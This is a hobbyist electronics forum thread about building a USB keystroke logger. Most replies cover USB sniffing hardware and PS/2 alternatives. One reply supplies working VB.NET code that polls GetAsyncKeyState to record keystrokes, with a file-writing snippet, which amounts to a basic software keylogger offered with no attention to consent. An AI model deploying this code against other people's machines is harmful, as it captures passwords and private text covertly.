Continue to Site

Welcome to our site!

Electro Tech is an online community (with over 170,000 members) who enjoy talking about and building electronic circuits, projects and gadgets. To participate you need to register. Registration is free. Click here to register now.

  • Welcome to our site! Electro Tech is an online community (with over 170,000 members) who enjoy talking about and building electronic circuits, projects and gadgets. To participate you need to register. Registration is free. Click here to register now.

Can anyone identify the mcu used in the design

Status
Not open for further replies.
Doesn't make any difference what the processor is, you still have to write the code for it - I would suggest checking out the MicroChip 18F series, some of which have USB interfaces.
 
Thanks for the reply. Actually i was not able to find any IC which will be transparent between USB device and USB host and also sniff the data. Only IC's are either host, or device or hubs.
 
Presumably you write the code so it doesn't - I suggest you have a look on the MicroChip website at the USB application notes and examples. I suspect you probably don't realise how complicated USB is?.
 
Um, this sounds like your doing it the hard way... Perhaps heres a thought;


Why not use VB Express (free download), and simply monitor the user32 GetAsyncKeyState property data, eg,

Code:
Public Class Form1
    Dim result As Integer

    Dim i As Double
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Integer

    Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
        End
    End Sub


    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

        Timer1.Interval = 10
        Timer1.Enabled = True

    End Sub

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick

        For i = 32 To 128
            result = 0
            result = GetAsyncKeyState(i)

            If result = -32767 Then
                If My.Computer.Keyboard.CapsLock = True Or My.Computer.Keyboard.ShiftKeyDown = True Then
                    Text1.Text = Text1.Text + UCase(Chr(i))
                Else
                    Text1.Text = Text1.Text + LCase(Chr(i))
                End If
            End If

        Next i
    End Sub

Writing data to a file is rather simple from there

Code:
Imports System
Imports System.IO

Public Class TextToFile

    Private Const FILE_NAME As String = "MyFile.txt"
    Public Shared Sub Main()

        Using sw As StreamWriter = File.CreateText(FILE_NAME)
            sw.WriteLine("This is my file.")
            sw.WriteLine("I can write ints {0} or floats {1}, and so on.", 1, 4.2)
            sw.Close()
        End Using
 
    End Sub

End Class

Use the help tools - they are simply brilliant. And if all else fails - then Google "VB Express Forum", and you will find a bunch of super nerds to help you :eek:
 
Last edited:
The way USB works, I'm pretty certain you can't just connect in parallel and sniff data like that. You definitely couldn't do it by using the PIC USB device hardware. You can buy general-purpose USB packet sniffers, however they are rather expensive pieces of hardware - I believe they literally act as a USB host to the device, then imitate the device on the PC side, in addition to sending the "sniffed" data to the PC. For a dedicated keystroke logger, it would be somewhat simpler, but implementation would be tremendously complicated, especially for such a project as trivial as a keyboard datalogger. Obviously, given the high price of those USB key loggers you linked, the people who have taken the time to do it are really capitalizing on their efforts.

Every USB keyboard I've seen will act as a PS/2 keyboard with one of those USB-PS/2 adapter plugs. If you want to log the keystrokes, do it with the PS/2 communication, which is way easier.
 
Last edited:
Status
Not open for further replies.

Latest threads

New Articles From Microcontroller Tips

Back
Top